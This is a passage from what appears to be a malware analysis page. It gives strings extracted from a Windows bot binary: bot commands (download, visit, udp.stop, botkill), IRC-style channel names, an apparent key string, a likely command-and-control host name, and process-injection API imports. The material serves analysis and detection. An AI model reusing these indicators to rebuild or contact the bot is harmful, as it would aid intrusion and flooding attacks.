SSSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004C5F&nbsp;&nbsp; 000002DA585F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; t)SSj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005209&nbsp;&nbsp; 000002DA5E09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt3Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005302&nbsp;&nbsp; 000002DA5F02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QQSVj</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">0000000055C9&nbsp;&nbsp; 000002DA61C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt}Vh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000055FA&nbsp;&nbsp; 000002DA61FA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tF@Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005720&nbsp;&nbsp; 000002DA6320&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SUVWh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005822&nbsp;&nbsp; 000002DA6422&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVVh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000583C&nbsp;&nbsp; 000002DA643C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SVVVVh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005927&nbsp;&nbsp; 000002DA6527&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tDVWWh$</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005AF9&nbsp;&nbsp; 000002DA66F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tUWSV</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005B31&nbsp;&nbsp; 000002DA6731&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WWWPWW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005C33&nbsp;&nbsp; 000002DA6833&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +Y4;YPw2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005CB0&nbsp;&nbsp; 000002DA68B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt8Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005F14&nbsp;&nbsp; 000002DA6B14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SUVWh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006098&nbsp;&nbsp; 000002DA6C98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QSUVWj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000063A7&nbsp;&nbsp; 000002DA6FA7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YYVVVhx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006499&nbsp;&nbsp; 000002DA7099&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVhF</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006650&nbsp;&nbsp; 000002DA7250&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; UUUVUU</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000670F&nbsp;&nbsp; 000002DA730F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PVVj(WVVV</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006920&nbsp;&nbsp; 000002DA7520&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VPVh?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006A30&nbsp;&nbsp; 000002DA7630&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VPVh?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006B14&nbsp;&nbsp; 000002DA7714&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QSVW3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006C20&nbsp;&nbsp; 000002DA7820&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YtPhL</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006D31&nbsp;&nbsp; 000002DA7931&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVhY</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006E35&nbsp;&nbsp; 000002DA7A35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QQSVWj,</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006EF7&nbsp;&nbsp; 000002DA7AF7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VSSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000735A&nbsp;&nbsp; 000002DA7F5A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PWhD!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007370&nbsp;&nbsp; 000002DA7F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PWh,!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007414&nbsp;&nbsp; 000002DA8014&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YPhX!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000075A2&nbsp;&nbsp; 000002DA81A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; trSWh,</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007DB2&nbsp;&nbsp; 000002DAA1B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PVVh%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000877C&nbsp;&nbsp; 000002DAAB7C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0866031</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008950&nbsp;&nbsp; 000002DAAD50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; udp.stop</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000089B4&nbsp;&nbsp; 000002DAADB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #newbitch</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008A1C&nbsp;&nbsp; 000002DAAE1C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #newbitch1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008A80&nbsp;&nbsp; 000002DAAE80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6RnRPKMb77qvsg5RiVNXdu6D9mgzE8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008AE4&nbsp;&nbsp; 000002DAAEE4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; unsort</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008B48&nbsp;&nbsp; 000002DAAF48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; download.stop</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008BAC&nbsp;&nbsp; 000002DAAFAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; remove</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009564&nbsp;&nbsp; 000002DAD564&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; botkill</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000962C&nbsp;&nbsp; 000002DAD62C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; haso.dukatlgg.com</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000096F4&nbsp;&nbsp; 000002DAD6F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; reconnect</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009820&nbsp;&nbsp; 000002DAD820&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeavenOnEarth</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000098E8&nbsp;&nbsp; 000002DAD8E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; visit</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000099B0&nbsp;&nbsp; 000002DAD9B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; download</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A856&nbsp;&nbsp; 000002DAA856&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PwS*Pw</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A88A&nbsp;&nbsp; 000002DAA88A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcsstr</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A894&nbsp;&nbsp; 000002DAA894&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; memset</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A89E&nbsp;&nbsp; 000002DAA89E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _snwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8AC&nbsp;&nbsp; 000002DAA8AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcscmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8BE&nbsp;&nbsp; 000002DAA8BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strncmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8C8&nbsp;&nbsp; 000002DAA8C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strstr</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8D2&nbsp;&nbsp; 000002DAA8D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _snprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8DE&nbsp;&nbsp; 000002DAA8DE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strcmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8E8&nbsp;&nbsp; 000002DAA8E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strncpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8FA&nbsp;&nbsp; 000002DAA8FA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; printf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A904&nbsp;&nbsp; 000002DAA904&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _vsnprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A912&nbsp;&nbsp; 000002DAA912&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A91C&nbsp;&nbsp; 000002DAA91C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _vsnwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A92A&nbsp;&nbsp; 000002DAA92A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; srand</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A932&nbsp;&nbsp; 000002DAA932&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strlen</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A93C&nbsp;&nbsp; 000002DAA93C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcstombs</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A948&nbsp;&nbsp; 000002DAA948&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; mbstowcs</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A954&nbsp;&nbsp; 000002DAA954&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strcpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A95E&nbsp;&nbsp; 000002DAA95E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; memcpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A968&nbsp;&nbsp; 000002DAA968&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _wcsicmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A974&nbsp;&nbsp; 000002DAA974&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; malloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A986&nbsp;&nbsp; 000002DAA986&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcscpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A990&nbsp;&nbsp; 000002DAA990&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; realloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A99A&nbsp;&nbsp; 000002DAA99A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strtok</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9A4&nbsp;&nbsp; 000002DAA9A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fclose</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9AE&nbsp;&nbsp; 000002DAA9AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9BA&nbsp;&nbsp; 000002DAA9BA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _wfopen</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9C2&nbsp;&nbsp; 000002DAA9C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MSVCRT.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9D0&nbsp;&nbsp; 000002DAA9D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeapFree</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9DC&nbsp;&nbsp; 000002DAA9DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExpandEnvironmentStringsW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9F8&nbsp;&nbsp; 000002DAA9F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeapAlloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA04&nbsp;&nbsp; 000002DAAA04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CloseHandle</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA12&nbsp;&nbsp; 000002DAAA12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Process32NextW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA24&nbsp;&nbsp; 000002DAAA24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; DeleteFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA32&nbsp;&nbsp; 000002DAAA32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MoveFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA3E&nbsp;&nbsp; 000002DAAA3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetFileAttributesW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA54&nbsp;&nbsp; 000002DAAA54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Sleep</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA5C&nbsp;&nbsp; 000002DAAA5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Process32FirstW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA6E&nbsp;&nbsp; 000002DAAA6E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateToolhelp32Snapshot</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA8A&nbsp;&nbsp; 000002DAAA8A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lstrlenA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA96&nbsp;&nbsp; 000002DAAA96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetThreadPriority</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AAAA&nbsp;&nbsp; 000002DAAAAA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLastError</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AABA&nbsp;&nbsp; 000002DAAABA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AACA&nbsp;&nbsp; 000002DAAACA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLocaleInfoA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AADC&nbsp;&nbsp; 000002DAAADC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; TerminateThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AAEE&nbsp;&nbsp; 000002DAAAEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleFileNameA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB04&nbsp;&nbsp; 000002DAAB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleHandleA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB18&nbsp;&nbsp; 000002DAAB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTimeFormatA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB2A&nbsp;&nbsp; 000002DAAB2A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTimeFormatW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB3C&nbsp;&nbsp; 000002DAAB3C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OutputDebugStringA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB52&nbsp;&nbsp; 000002DAAB52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OutputDebugStringW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB68&nbsp;&nbsp; 000002DAAB68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReleaseMutex</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB78&nbsp;&nbsp; 000002DAAB78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WaitForSingleObject</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB8E&nbsp;&nbsp; 000002DAAB8E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WriteFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB9A&nbsp;&nbsp; 000002DAAB9A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABA8&nbsp;&nbsp; 000002DAABA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTickCount</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABB8&nbsp;&nbsp; 000002DAABB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetLastError</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABC8&nbsp;&nbsp; 000002DAABC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindNextFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABD8&nbsp;&nbsp; 000002DAABD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindNextFileA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABE8&nbsp;&nbsp; 000002DAABE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OpenProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABF6&nbsp;&nbsp; 000002DAABF6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetProcAddress</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC08&nbsp;&nbsp; 000002DAAC08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LoadLibraryW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC18&nbsp;&nbsp; 000002DAAC18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetFileAttributesW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC2E&nbsp;&nbsp; 000002DAAC2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetVersionExA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC3E&nbsp;&nbsp; 000002DAAC3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReadFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC4A&nbsp;&nbsp; 000002DAAC4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetFileSize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC58&nbsp;&nbsp; 000002DAAC58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateMutexW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC68&nbsp;&nbsp; 000002DAAC68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OpenMutexW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC76&nbsp;&nbsp; 000002DAAC76&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetProcessHeap</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC88&nbsp;&nbsp; 000002DAAC88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateRemoteThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC9E&nbsp;&nbsp; 000002DAAC9E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WriteProcessMemory</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACB4&nbsp;&nbsp; 000002DAACB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualProtectEx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACC8&nbsp;&nbsp; 000002DAACC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualAllocEx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACDA&nbsp;&nbsp; 000002DAACDA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReadProcessMemory</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACEE&nbsp;&nbsp; 000002DAACEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetCurrentProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD02&nbsp;&nbsp; 000002DAAD02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualAlloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD12&nbsp;&nbsp; 000002DAAD12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetCurrentProcessId</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD28&nbsp;&nbsp; 000002DAAD28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LockResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD38&nbsp;&nbsp; 000002DAAD38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LoadResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD48&nbsp;&nbsp; 000002DAAD48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SizeofResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD5A&nbsp;&nbsp; 000002DAAD5A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindResourceW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD6A&nbsp;&nbsp; 000002DAAD6A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExitProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD78&nbsp;&nbsp; 000002DAAD78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExitThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD86&nbsp;&nbsp; 000002DAAD86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetDriveTypeW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD96&nbsp;&nbsp; 000002DAAD96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 